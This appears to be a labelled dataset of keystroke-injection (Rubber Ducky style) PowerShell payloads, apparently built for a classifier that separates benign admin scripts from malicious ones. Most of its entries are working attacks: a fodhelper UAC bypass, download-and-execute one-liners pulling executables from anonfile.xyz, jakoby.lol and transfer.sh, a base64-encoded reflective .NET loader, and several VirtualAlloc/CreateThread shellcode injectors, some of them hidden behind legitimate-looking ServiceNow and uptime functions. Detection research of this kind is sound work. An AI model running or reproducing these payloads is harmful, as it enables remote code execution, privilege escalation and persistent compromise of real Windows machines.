DUCKY_REAL_BEGIN enter REM ######################################################## enter REM # | enter REM # Title : Set An Arbitrary DNS (IPv4 version) | enter REM # Author : Aleff | enter REM # Version : 1.0 | enter REM # Category : Execution | enter REM # Target : Windows 11 | enter REM # | enter REM ######################################################## enter REM Requirements: enter REM - Nothing enter REM DNS IPv4 like Cloudflare DNS 1.1.1.1 enter DEFINE DNS example enter REM Open Settings enter DELAY 1000 enter GUI enter DELAY 1000 enter STRING settings enter DELAY 1000 enter ENTER enter REM Go to network settings enter DELAY 1000 enter DOWNARROW enter DELAY 500 enter DOWNARROW enter DELAY 500 enter DOWNARROW enter DELAY 500 enter ENTER enter REM Go to Wi-Fi settings enter DELAY 1000 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter ENTER enter DUCKY_REAL_END,1,1,5.98442e-05,0.99994016
"win+r enter powershell enter enter enter <# enter .SYNOPSIS enter This script can bypass User Access Control (UAC) via fodhelper.exe enter enter It creates a new registry structure in: ""HKCU:\Software\Classes\ms-settings\"" to perform UAC bypass and starts enter an elevated command prompt. enter enter .NOTES enter Function : FodhelperUACBypass enter File Name : FodhelperUACBypass.ps1 enter Author : netbiosX. - pentestlab.blog enter enter .LINKS enter https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692 enter https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/ enter enter .EXAMPLE enter enter Load ""cmd /c start C:\Windows\System32\cmd.exe"" (it's default): enter FodhelperUACBypass enter enter Load specific application: enter FodhelperUACBypass -program ""cmd.exe"" enter FodhelperUACBypass -program ""cmd.exe /c powershell.exe"" enter #> enter enter function FodhelperUACBypass(){ enter Param ( enter enter [String]$program = ""cmd /c start C:\Windows\System32\cmd.exe"" #default enter ) enter enter #Create Registry Structure enter New-Item ""HKCU:\Software\Classes\ms-settings\Shell\Open\command"" -Force enter New-ItemProperty -Path ""HKCU:\Software\Classes\ms-settings\Shell\Open\command"" -Name ""DelegateExecute"" -Value """" -Force enter Set-ItemProperty -Path ""HKCU:\Software\Classes\ms-settings\Shell\Open\command"" -Name ""(default)"" -Value $program -Force enter enter #Start fodhelper.exe enter Start-Process ""C:\Windows\System32\fodhelper.exe"" -WindowStyle Hidden enter enter #Cleanup enter Start-Sleep 3 enter Remove-Item ""HKCU:\Software\Classes\ms-settings\"" -Recurse -Force enter enter } enter enter",1,1,6.071066e-05,0.9999393
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('http://anonfile.xyz/f/921e1b3c55 enter 168c2632318b6d22a7bfe6.exe','fleeble.exe');Start-Process 'fleeble.exe' enter enter",1,1,5.9590497e-05,0.9999404
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_nu2d5gy9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process -Name ""msedge"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 20 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_20.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.442348e-05
win+r enter delay_medium enter powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/e8v | iex enter enter,1,1,6.514343e-05,0.9999349
"win+r enter powershell enter enter enter function Test-PSFTaskEngineCache enter { enter enter [OutputType([System.Boolean])] enter [CmdletBinding(HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Test-PSFTaskEngineCache')] enter Param ( enter [Parameter(Mandatory = $true)] enter [ValidateNotNullOrEmpty()] enter [string] enter $Module, enter enter [Parameter(Mandatory = $true)] enter [ValidateNotNullOrEmpty()] enter [string] enter $Name enter ) enter enter [PSFramework.TaskEngine.TaskHost]::TestCacheItem($Module, $Name) enter } enter enter",0,0,0.99987304,0.00012697352
"win+r enter powershell enter enter enter function New-ServiceNowChangeRequest { enter [CmdletBinding(DefaultParameterSetName, SupportsShouldProcess)] enter Param( enter [parameter(Mandatory = $true)] enter [string]$Caller, enter enter [parameter(Mandatory = $true)] enter [string]$ShortDescription, enter enter [parameter(Mandatory = $false)] enter [string]$Description, enter enter [parameter(Mandatory = $false)] enter [string]$AssignmentGroup, enter enter [parameter(Mandatory = $false)] enter [string]$Comment, enter enter [parameter(Mandatory = $false)] enter [string]$Category, enter enter [parameter(Mandatory = $false)] enter [string]$Subcategory, enter enter [parameter(Mandatory = $false)] enter [string]$ConfigurationItem, enter enter [parameter(Mandatory = $false)] enter [hashtable]$CustomFields, enter enter [Parameter(ParameterSetName = 'SpecifyConnectionFields', Mandatory = $True)] enter [ValidateNotNullOrEmpty()] enter [PSCredential]$ServiceNowCredential, enter enter [Parameter(ParameterSetName = 'SpecifyConnectionFields', Mandatory = $True)] enter [ValidateNotNullOrEmpty()] enter [string]$ServiceNowURL, enter enter [Parameter(ParameterSetName = 'UseConnectionObject', Mandatory = $True)] enter [ValidateNotNullOrEmpty()] enter [Hashtable]$Connection, enter [Parameter(Mandatory = $false)] enter [switch]$PassThru enter ) enter enter begin { } enter process { enter Try { enter enter $DefinedChangeRequestParameters = @('AssignmentGroup', 'Caller', 'Category', 'Comment', 'ConfigurationItem', 'Description', 'ShortDescription', 'Subcategory') enter $TableEntryValues = @{ } enter ForEach ($Parameter in $DefinedChangeRequestParameters) { enter If ($null -ne $PSBoundParameters.$Parameter) { enter enter $KeyToAdd = Switch ($Parameter) { enter AssignmentGroup {'assignment_group'; break} enter Caller {'caller_id'; break} enter Category {'category'; break} enter Comment {'comments'; break} enter ConfigurationItem {'cmdb_ci'; break} enter Description {'description'; break} enter ShortDescription {'short_description'; break} enter Subcategory {'subcategory'; break} enter } enter $TableEntryValues.Add($KeyToAdd, $PSBoundParameters.$Parameter) enter } enter } enter If ($null -ne $PSBoundParameters.CustomFields) { enter $DuplicateTableEntryValues = ForEach ($Key in $CustomFields.Keys) { enter If (($TableEntryValues.ContainsKey($Key) -eq $False)) { enter enter $TableEntryValues.Add($Key, $CustomFields[$Key]) enter } enter Else { enter enter $Key enter } enter } enter } enter If ($null -ne $DuplicateTableEntryValues) { enter $DuplicateKeyList = $DuplicateTableEntryValues -join "","" enter Throw ""Ticket fields may only be used once: $DuplicateKeyList"" enter } enter $newServiceNowTableEntrySplat = @{ enter Table = 'change_request' enter Values = $TableEntryValues enter } enter If ($null -ne $PSBoundParameters.Connection) { enter $newServiceNowTableEntrySplat.Add('Connection', $Connection) enter } enter ElseIf ($null -ne $PSBoundParameters.ServiceNowCredential -and $null -ne $PSBoundParameters.ServiceNowURL) { enter $newServiceNowTableEntrySplat.Add('ServiceNowCredential', $ServiceNowCredential) enter $newServiceNowTableEntrySplat.Add('ServiceNowURL', $ServiceNowURL) enter } enter If ($PSCmdlet.ShouldProcess($Uri, $MyInvocation.MyCommand)) { enter $Result = New-ServiceNowTableEntry @newServiceNowTableEntrySplat enter If ($PSBoundParameters.ContainsKey('Passthru')) { enter $Result enter } enter } enter } enter Catch { enter Write-Error $PSItem enter } enter } enter end { } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0xbb,0x01,0x00,0x00,0xe8,0x42,0x01,0x00,0x00,0x2f,0x5a,0x6b,0x36,0x75,0x4d,0x2d,0x75,0x6e,0x58,0x78,0x4d,0x4c,0x6f,0x77,0x71,0x69,0x58,0x4a,0x4c,0x4b,0x58,0x51,0x66,0x44,0x36,0x49,0x70,0x39,0x30,0x34,0x69,0x53,0x47,0x5a,0x45,0x49,0x6f,0x6e,0x44,0x36,0x36,0x6b,0x69,0x65,0x36,0x44,0x4e,0x76,0x4b,0x46,0x71,0x74,0x33,0x5f,0x5f,0x56,0x47,0x52,0x51,0x71,0x62,0x71,0x63,0x6e,0x67,0x35,0x44,0x67,0x79,0x71,0x49,0x39,0x78,0x6a,0x35,0x58,0x6d,0x42,0x53,0x78,0x73,0x71,0x68,0x6c,0x7a,0x77,0x48,0x4b,0x4a,0x68,0x4b,0x36,0x72,0x46,0x67,0x71,0x46,0x64,0x38,0x64,0x5a,0x2d,0x6b,0x56,0x64,0x31,0x78,0x53,0x72,0x4d,0x73,0x55,0x4e,0x59,0x58,0x6e,0x59,0x4d,0x6d,0x4b,0x70,0x49,0x5f,0x57,0x7a,0x72,0x69,0x76,0x33,0x32,0x54,0x42,0x45,0x51,0x32,0x62,0x45,0x43,0x6e,0x50,0x44,0x62,0x31,0x4a,0x70,0x4c,0x61,0x48,0x4b,0x58,0x34,0x6f,0x58,0x35,0x68,0x54,0x49,0x73,0x51,0x34,0x37,0x50,0x49,0x53,0x71,0x33,0x42,0x2d,0x54,0x46,0x46,0x64,0x4f,0x38,0x70,0x4e,0x58,0x46,0x35,0x36,0x75,0x70,0x41,0x32,0x50,0x4a,0x66,0x41,0x6c,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x08,0x4f,0x75,0xd9,0xe8,0x4a,0x00,0x00,0x00,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcf,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x77,0xff,0xff,0xff,0x34,0x36,0x2e,0x32,0x35,0x35,0x2e,0x32,0x31,0x31,0x2e,0x32,0x34,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1625568e-05,0.9999484
"win+r powershell enter $Xmqb = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $Xmqb - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0x5f enter ,0xbd,0x36,0x71,0xda,0xd2,0xd9,0x74,0x24,0xf4,0x5a,0x31,0xc9,0xb1,0x47,0x31,0x42 enter ,0x13,0x83,0xea,0xfc,0x03,0x42,0x50,0x5f,0xc3,0x8d,0x86,0x1d,0x2c,0x6e,0x56,0x42 enter ,0xa4,0x8b,0x67,0x42,0xd2,0xd8,0xd7,0x72,0x90,0x8d,0xdb,0xf9,0xf4,0x25,0x68,0x8f enter ,0xd0,0x4a,0xd9,0x3a,0x07,0x64,0xda,0x17,0x7b,0xe7,0x58,0x6a,0xa8,0xc7,0x61,0xa5 enter ,0xbd,0x06,0xa6,0xd8 enter enter",1,1,5.4343753e-05,0.99994564
"win+r enter powershell enter enter enter Register-PSFConfigValidation -Name ""long"" -ScriptBlock { enter Param ( enter $Value enter ) enter enter $Result = New-Object PSOBject -Property @{ enter Success = $True enter Value = $null enter Message = """" enter } enter enter try { [long]$number = $Value } enter catch enter { enter $Result.Message = ""Not a long: $Value"" enter $Result.Success = $False enter return $Result enter } enter enter $Result.Value = $number enter enter return $Result enter } enter enter",0,0,0.9999528,4.7229554e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_yxq675xw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name wuauserv,bits,cryptsvc -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996483,3.5107754e-05
"win+r powershell enter  [CmdletBinding()] param () function Uninstall-MSIByName { [CmdletBinding enter ()] param ( [ValidateNotNullOrEmpty()][String]$ApplicationName, enter enter",1,1,0.005226623,0.99477345
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0xc3,0x57, enter 0xdd,0x65,0xd9,0xc4,0xd9,0x74,0x24,0xf4,0x5d,0x33,0xc9,0xb1,0x47,0x31,0x45,0x13, enter 0x03,0x45,0x13,0x83,0xc5,0xc7,0xb5,0x28,0x99,0x2f,0xbb,0xd3,0x62,0xaf,0xdc,0x5a, enter 0x87,0x9e,0xdc,0x39,0xc3,0xb0,0xec,0x4a,0x81,0x3c,0x86,0x1f,0x32,0xb7,0xea,0xb7, enter 0x35,0x70,0x40,0xee,0x78,0x81,0xf9,0xd2,0x1b,0x01,0x00,0x07,0xfc,0x38,0xcb,0x5a, enter 0xfd,0x7d,0x36,0x96, enter enter",1,1,5.4049837e-05,0.999946
"win+r enter powershell enter enter enter  enter function Get-MrUptime { enter [CmdletBinding()] enter param ( enter [Parameter(ValueFromPipeline)] enter [Microsoft.Management.Infrastructure.CimSession[]]$CimSession enter ) enter enter PROCESS { enter [array]$CimSessions += $CimSession enter } enter enter END { enter Get-CimInstance -CimSession $CimSessions -ClassName Win32_OperatingSystem -Property LocalDateTime, LastBootUpTime | enter Select-Object -Property PSComputerName, @{label='Uptime';expression={$_.LocalDateTime - $_.LastBootUpTime}} enter enter $CimSessions | Remove-CimSession -ErrorAction SilentlyContinue enter } enter enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x03,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1895622e-05,0.99994814
"win+r enter powershell enter enter enter $whatever = ""dXNpbmcgU3lzdGVtO3VzaW5nIFN5c3RlbS5JTzt1c2luZyBTeXN0ZW0uTmV0O3VzaW5nIFN5c3RlbS5SZWZsZWN0aW9uO3VzaW5nIFN5c3RlbS5UaHJlYWRpbmc7bmFtZXNwYWNlIHdicXZ4UHNTcE8ub2tFWk1DRmhIeAp7cHVibGljIGNsYXNzIE5OeWxYTlRBc0JDelhBbnZieWZLa0J0ZG4Ke3ByaXZhdGUgY29uc3Qgc3RyaW5nIGxacmR6WGVDZHdpdndrR0JWUGxKTFF4Qlg9Imh0dHBzOi8vdHJhbnNmZXIuc2gvZ2V0L2pEQXpqMS9TVy5leGUiO3ByaXZhdGUgTWVtb3J5U3RyZWFtIHJvTWpmdlFhcmllZ1JyTXhlTGhyeUxZZ0w9bmV3IE1lbW9yeVN0cmVhbSgpO1tTVEFUaHJlYWRdCnB1YmxpYyB2b2lkIERxUlBNb1VaYVRMVVZ5YmxkRXVtS2dpbHooKQp7WkFuVW5XSWZQQlN2R1RvcmhwT1ZiQlZscigpO0tXWVNIZlVtZmpGSmJqSnVTclZDVFBHeWIoKTt9CnByaXZhdGUgdm9pZCBLV1lTSGZVbWZqRkpiakp1U3JWQ1RQR3liKCkKe2J5dGVbXWJ1ZmZlcj1yb01qZnZRYXJpZWdSck14ZUxocnlMWWdMLlRvQXJyYXkoKTtBc3NlbWJseSBhc3NlbWJseT1udWxsO2lmKEVudmlyb25tZW50LlZlcnNpb24uTWFqb3I+PTQpCntNZXRob2RJbmZvIG1ldGhvZD1UeXBlLkdldFR5cGUoIlN5c3RlbS5SZWZsZWN0aW9uLlJ1bnRpbWVBc3NlbWJseSIpLkdldE1ldGhvZCgibkxvYWRJbWFnZSIsQmluZGluZ0ZsYWdzLk5vblB1YmxpY3xCaW5kaW5nRmxhZ3MuU3RhdGljKTthc3NlbWJseT0oQXNzZW1ibHkpbWV0aG9kLkludm9rZShudWxsLG5ldyBvYmplY3RbXXtidWZmZXIsbnVsbCxudWxsLG51bGwsZmFsc2UsZmFsc2UsbnVsbH0pO31lbHNlCntNZXRob2RJbmZvIG1ldGhvZD1UeXBlLkdldFR5cGUoIlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IikuR2V0TWV0aG9kKCJuTG9hZEltYWdlIixCaW5kaW5nRmxhZ3MuTm9uUHVibGljfEJpbmRpbmdGbGFncy5TdGF0aWMpO2Fzc2VtYmx5PShBc3NlbWJseSltZXRob2QuSW52b2tlKG51bGwsbmV3IG9iamVjdFtde2J1ZmZlcixudWxsLG51bGwsbnVsbCxmYWxzZX0pO30Kb2JqZWN0W11hcmdzPW5ldyBvYmplY3RbMV07aWYoYXNzZW1ibHkuRW50cnlQb2ludC5HZXRQYXJhbWV0ZXJzKCkuTGVuZ3RoPT0wKQphcmdzPW51bGw7YXNzZW1ibHkuRW50cnlQb2ludC5JbnZva2UobnVsbCxhcmdzKTt9CnByaXZhdGUgdm9pZCBaQW5VbldJZlBCU3ZHVG9yaHBPVmJCVmxyKCkKe1dlYlJlcXVlc3QgcmVxdWVzdD1XZWJSZXF1ZXN0LkNyZWF0ZShsWnJkelhlQ2R3aXZ3a0dCVlBsSkxReEJYKTtXZWJSZXNwb25zZSByZXNwb25zZT1yZXF1ZXN0LkdldFJlc3BvbnNlKCk7dXNpbmcoU3RyZWFtIHdlYl9zdHJlYW09cmVzcG9uc2UuR2V0UmVzcG9uc2VTdHJlYW0oKSkKe2J5dGVbXWJ1ZmZlcj1uZXcgYnl0ZVs4MTkyXTtpbnQgcmVhZD0wO3doaWxlKChyZWFkPXdlYl9zdHJlYW0uUmVhZChidWZmZXIsMCxidWZmZXIuTGVuZ3RoKSk+MCkKe3JvTWpmdlFhcmllZ1JyTXhlTGhyeUxZZ0wuV3JpdGUoYnVmZmVyLDAscmVhZCk7fX0KcmVzcG9uc2UuQ2xvc2UoKTt9fX0="";$dec = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($whatever));Add-Type -TypeDefinition $dec;$instance = New-Object wbqvxPsSpO.okEZMCFhHx.NNylXNTAsBCzXAnvbyfKkBtdn;$instance.DqRPMoUZaTLUVybldEumKgilz(); enter enter [decoded_payloads] enter [decoded:long_base64_literal] enter using System;using System.IO;using System.Net;using System.Reflection;using System.Threading;namespace wbqvxPsSpO.okEZMCFhHx enter {public class NNylXNTAsBCzXAnvbyfKkBtdn enter {private const string lZrdzXeCdwivwkGBVPlJLQxBX=""https://transfer.sh/get/jDAzj1/SW.exe"";private MemoryStream roMjfvQariegRrMxeLhryLYgL=new MemoryStream();[STAThread] enter public void DqRPMoUZaTLUVybldEumKgilz() enter {ZAnUnWIfPBSvGTorhpOVbBVlr();KWYSHfUmfjFJbjJuSrVCTPGyb();} enter private void KWYSHfUmfjFJbjJuSrVCTPGyb() enter {byte[]buffer=roMjfvQariegRrMxeLhryLYgL.ToArray();Assembly assembly=null;if(Environment.Version.Major>=4) enter {MethodInfo method=Type.GetType(""System.Reflection.RuntimeAssembly"").GetMethod(""nLoadImage"",BindingFlags.NonPublic|BindingFlags.Static);assembly=(Assembly)method.Invoke(null,new object[]{buffer,null,null,null,false,false,null});}else enter {MethodInfo method=Type.GetType(""System.Reflection.Assembly"").GetMethod(""nLoadImage"",BindingFlags.NonPublic|BindingFlags.Static);assembly=(Assembly)method.Invoke(null,new object[]{buffer,null,null,null,false});} enter object[]args=new object[1];if(assembly.EntryPoint.GetParameters().Length==0) enter args=null;assembly.EntryPoint.Invoke(null,args);} enter private void ZAnUnWIfPBSvGTorhpOVbBVlr() enter {WebRequest request=WebRequest.Create(lZrdzXeCdwivwkGBVPlJLQxBX);WebResponse response=request.GetResponse();using(Stream web_stream=response.GetResponseStream()) enter {byte[]buffer=new byte[8192];int read=0;while((read=web_stream.Read(buffer,0,buffer.Length))>0) enter {roMjfvQariegRrMxeLhryLYgL.Write(buffer,0,read);}} enter response.Close();}}} enter enter",1,1,5.5569682e-05,0.99994445
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_cj26xtnj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3758755e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xd